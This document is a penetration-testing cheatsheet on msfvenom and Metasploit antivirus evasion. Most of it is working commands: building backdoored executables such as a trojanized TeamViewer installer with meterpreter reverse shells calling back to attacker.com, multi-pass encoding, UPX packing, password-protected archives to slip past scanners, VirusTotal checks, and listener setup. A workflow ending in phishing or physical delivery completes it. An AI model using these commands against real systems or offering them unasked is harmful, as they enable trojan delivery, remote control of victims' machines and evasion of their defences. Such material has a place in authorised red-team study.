msfvenom Cheatsheet

Protection Types

Detection Methods

msfvenom Evasion Commands

Backdoored Executable Template

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
  -k -x ~/Downloads/TeamViewer_Setup.exe \
  -e x86/shikata_ga_nai -a x86 --platform windows \
  -o ~/Desktop/TeamViewer_Setup.exe -i 5

Key Flags

With -k, the original application runs normally while the payload executes in a separate thread. However, if launched from the CLI, a separate window may appear.

Generate Encoded Payload

msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 \
  -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5

Simply encoding payloads with multiple iterations is often not sufficient for all AV products.

VirusTotal Analysis

msf-virustotal -k <API_key> -f payload.exe

Archive Evasion

Password-protected archives bypass many AV signatures but may generate “unable to scan” alerts.

# Create password-protected archive
zip -e -P secretpass payload.zip payload.exe
7z a -pSecretPass payload.7z payload.exe

Popular Packers

Packers compress and obfuscate executables by packing the payload with decompression code. When run, decompression restores the original executable transparently.

UPX Example

# Pack executable
upx -9 payload.exe -o packed_payload.exe

# Unpack (for analysis)
upx -d packed_payload.exe

Common Encoders

Exploit Code Randomization

When writing exploit code, add offset randomization to break IDS signatures:

'Targets' =>
[
 [ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29, 'Offset' => 5093 } ],
],

IPS/IDS regularly check for standard NOP sleds. Use randomized shellcode encoding and vary NOP equivalents.

MSF6 Encrypted Sessions

MSF6 can tunnel AES-encrypted communication from Meterpreter shells, encrypting traffic as the payload is sent. Meterpreter runs in memory (no file on disk).

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
set StageEncoder x64/xor
run -j

DNS Exfiltration

In cases with strict traffic rules, DNS can be used for data exfiltration. Often allowed through firewalls and difficult to detect without DNS-specific monitoring. Slow but stealthy (notably used in the Equifax breach, 2017).

Evasion Workflow

Step 1: Choose Delivery Method

• Backdoored executable
• Macro-enabled document
• Script file (JS, VBS, PS1)
• Archive with password

Step 2: Apply Obfuscation

# Generate encoded backdoored executable
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 \
  -x legit_app.exe -k \
  -e x86/shikata_ga_nai -i 15 \
  -f exe -o trojan.exe

Step 3: Pack the Payload (Optional)

upx -9 trojan.exe -o trojan_packed.exe

Step 4: Test Detection

msf-virustotal -k <API_key> -f trojan_packed.exe

Step 5: Setup Handler

use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 443
set EnableStageEncoding true
run -j

Step 6: Deliver and Execute

• Social engineering / phishing email
• Physical access
• Exploit existing vulnerability

Quick Reference

Generate Stealthy Payload

# Backdoored installer with encoding
msfvenom -p windows/meterpreter/reverse_https LHOST=attacker.com LPORT=443 \
  -x legit_installer.exe -k \
  -e x86/shikata_ga_nai -i 10 \
  -f exe -o trojan_installer.exe

Evasion Checklist

• Use executable templates (-x flag)
• Enable -k for legitimate functionality
• Apply multiple encoding iterations
• Consider using packers
• Use password-protected archives for delivery
• Leverage HTTPS/encrypted channels
• Randomize exploit offsets
• Avoid obvious NOP sleds
• Test against sandbox before deployment

References

• US Government Post-Mortem Report on Equifax Hack
• PolyPack Project
• Metasploit - The Penetration Tester’s Guide (No Starch Press)